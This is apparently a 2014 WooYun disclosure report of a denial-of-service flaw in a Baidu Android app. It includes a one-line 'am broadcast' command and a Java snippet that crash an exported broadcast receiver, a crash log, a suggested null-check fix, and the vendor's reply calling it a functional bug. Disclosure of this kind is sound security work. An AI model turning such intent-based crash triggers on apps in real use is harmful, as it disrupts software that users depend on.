漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-053878
漏洞标题:百度某手机应用拒绝服务漏洞
相关厂商:百度
漏洞作者: hqdvista
提交时间:2014-03-19 11:01
修复时间:2014-06-14 11:02
公开时间:2014-06-14 11:02
漏洞类型:拒绝服务
危害等级:中
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-03-19: 细节已通知厂商并且等待厂商处理中
2014-03-19: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-13: 细节向核心白帽子及相关领域专家公开
2014-05-23: 细节向普通白帽子公开
2014-06-02: 细节向实习白帽子公开
2014-06-14: 细节向公众公开
简要描述:
百度某手机应用拒绝服务漏洞
详细说明:
1、漏洞发现方式
发送com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver广播
am broadcast -n com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver
java代码:
Intent in = newIntent();
in.setComponent(newComponentName(“com.baidu.appsearch”, “com.baidu.pcsuite.swiftp.RequestStartStopReceiver”);
sendBroadcast(in);
2、漏洞证明
I/ActivityManager( 442): Start proc com.baidu.appsearch:deamon for broadcast com.baidu.appsearch/com.baidu.pcsuite.swiftp.RequestStartStopReceiver: pid=6865 uid=10086 gids={50086, 3003, 1015, 1006, 3002, 3001, 1028}
E/AndroidRuntime( 7191): java.lang.RuntimeException: Unable to start receiver com.baidu.pcsuite.swiftp.RequestStartStopReceiver: java.lang.NullPointerException
E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2383)
E/AndroidRuntime( 7191): at android.app.ActivityThread.access$1500(ActivityThread.java:141)
E/AndroidRuntime( 7191): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1310)
E/AndroidRuntime( 7191): at android.os.Handler.dispatchMessage(Handler.java:99)
E/AndroidRuntime( 7191): at android.os.Looper.loop(Looper.java:137)
E/AndroidRuntime( 7191): at android.app.ActivityThread.main(ActivityThread.java:5041)
E/AndroidRuntime( 7191): at java.lang.reflect.Method.invokeNative(Native Method)
E/AndroidRuntime( 7191): at java.lang.reflect.Method.invoke(Method.java:511)
E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)
E/AndroidRuntime( 7191): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)
E/AndroidRuntime( 7191): at dalvik.system.NativeStart.main(Native Method)
E/AndroidRuntime( 7191): Caused by: java.lang.NullPointerException
E/AndroidRuntime( 7191): at com.baidu.pcsuite.swiftp.RequestStartStopReceiver.onReceive(Unknown Source)
E/AndroidRuntime( 7191): at android.app.ActivityThread.handleReceiver(ActivityThread.java:2376)
E/AndroidRuntime( 7191): ... 10 more
漏洞证明:
修复方案:
增加NPE检查
版权声明:转载请注明来源 hqdvista@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-06-14 11:02
厂商回复:
我们认为该漏洞存在,但无安全危害。属于功能性bug。
感谢对百度安全的支持。
最新状态:
暂无